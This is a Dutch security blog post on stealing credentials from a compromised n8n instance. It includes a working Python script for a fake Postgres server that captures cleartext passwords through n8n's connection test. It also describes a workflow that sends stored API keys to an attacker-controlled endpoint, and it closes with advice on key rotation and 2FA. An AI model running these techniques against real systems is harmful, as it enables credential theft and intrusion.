n8n is een fantastische tool waarmee je makkelijk automatiseringen kunt opzetten. Maar omdat je hiervoor credentials moet meegeven, is de grote vraag: wat kan er gebeuren als een attacker hiertoe toegang krijgt? In deze post laat ik de gevaren zien en de bijkomende schade die dit kan opleveren wanneer een attacker binnenkomt door bijvoorbeeld een login uit een stealer log te pakken.
Naast het uitlekken van API-keys voor diensten als GitLab, OpenAI, Anthropic, enzovoort, wordt n8n ook veel gebruikt om automatiseringen uit te voeren op databases zoals Redis, Postgres en MySQL. Dit betekent dat als n8n gecompromitteerd raakt, het direct een entry point wordt voor lateral movement. We kunnen n8n in principe dus gebruiken om verder de organisatie in te 'duiken'.
Exfiltratie via een malicious server
In dit voorbeeld gebruiken we Postgres om het wachtwoord te exfiltreren. Ik kies specifiek voor Postgres omdat dit in de praktijk vaak onveilig is ingesteld (bijvoorbeeld draaiend onder een superuser). Als je de inloggegevens in handen krijgt, kun je daardoor vrij makkelijk doorescaleren naar RCE.
Omdat je een Postgres-credential niet zomaar in een HTTP-request binnen een n8n-workflow kunt plaatsen, moeten we enigszins creatief zijn in hoe we deze credentials vanuit de n8n-instance exfiltreren. Gelukkig heeft n8n een feature die ons leven een stukje makkelijker maakt. Wanneer je een credential aanpast of instelt, probeert n8n standaard eerst de connectie te testen. Als wij dus een malicious server hosten die tegen de client zegt: "stuur mij je ruwe wachtwoord", kunnen we dit mechanisme misbruiken voor exfiltratie.
1import socket
2
3LPORT = 5432
4AUTH_REQUEST_CLEARTEXT = b'R\x00\x00\x00\x08\x00\x00\x00\x03'
5
6def start_malicious_server():
7 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
8 server.bind(('0.0.0.0', LPORT))
9 server.listen(5)
10 print(f"Waiting for connection on port {LPORT}...")
11
12 while True:
13 client_sock, addr = server.accept()
14 print(f"Received connection from: {addr}")
15
16 startup_data = client_sock.recv(1024)
17 print(f"Received data: {startup_data}")
18
19 print(f"Requesting {addr} to send over the password plaintext")
20 client_sock.sendall(AUTH_REQUEST_CLEARTEXT)
21
22 password_msg = client_sock.recv(1024)
23 if password_msg.startswith(b'p'):
24 extracted_password = password_msg[5:].decode('utf-8').strip('\x00')
25 print(f"Got a password back from {addr}: {extracted_password}")
26 client_sock.close()
27
28if __name__ == "__main__":
29 start_malicious_server()
De bovenstaande code is een server die zich voordoet als een Postgres-database. Wanneer een n8n-instance hiermee verbindt, zegt onze server eigenlijk: "Ik ben een Postgres-server, stuur me alsjeblieft je wachtwoord in cleartext zodat ik de authenticatie voor je kan nakijken." En vervolgens krijgen het wachtwoord netjes terug!

Hierdoor hebben we dus het wachtwoord bemachtigd en kunnen we onderzoeken of we verdere escalatie op de daadwerkelijke Postgres-server kunnen uitvoeren.
Workflow based exfiltratie
We hebben nu gezien hoe we database-credentials kunnen pakken via een vals protocol, maar wat als er API-keys in het spel zijn die via HTTP worden verstuurd (zoals OpenAI of Anthropic)? Vanuit het perspectief van een attacker maakt n8n het ons dan wel heel erg makkelijk.
Wat we moeten doen om deze keys te exfiltreren? Eigenlijk is het bijna te simpel. We bouwen een malafide workflow die een request maakt naar ons eigen endpoint (bijvoorbeeld een simpele Webhook-site of een VPS). In die workflow gebruiken we de opgeslagen credentials in een HTTP-node. Zodra we de workflow eenmalig uitvoeren, ontvangen wij op onze server de callback inclusief de actieve API-keys in de header.

Het mooie (of enge) hiervan is dat n8n de authenticatie voor ons afhandelt. Wij hoeven alleen maar aan de andere kant de data op te vangen en we hebben API-keys in handen.
Conclusie
n8n kan er simpelweg niet omheen dat ze jouw API-keys moeten opslaan. Ze proberen dit risico te mitigeren door je credentials te encrypten met een sleutel. Maar omdat gebruikers er niet op zitten te wachten om bij elke wijziging alles opnieuw in te vullen, is het een lastige vector om echt goed te beveiligen zonder het hele nut van n8n weg te halen.
Een n8n-portal wordt in de praktijk helaas al snel vergeten. Je stelt als organisatie een paar workflows in die je nodig hebt en kijkt er vervolgens amper meer naar om. Het is cruciaal om dit niet te laten versloffen. Als een attacker hier namelijk toegang toe krijgt, liggen de 'keys to the kingdom' voor het oprapen.
Ook al encrypt n8n je keys netjes, ze kunnen via de methodieken die we net hebben besproken alsnog in cleartext worden geëxfiltreerd. Zodra een gecompromitteerde gebruiker de rechten heeft om credentials te bewerken, is het eigenlijk al game over en kunnen de keys gestolen worden.
Daarom is het extreem belangrijk om je keys regelmatig te roteren. Zet daarnaast altijd 2FA aan op je n8n-omgeving. Mochten je inloggegevens toch op straat komen te liggen (bijvoorbeeld via een stealer log), dan moet de attacker in ieder geval nog die 2FA-laag zien te omzeilen voordat ze daadwerkelijk bij jouw 'keys to the kingdom' kunnen komen.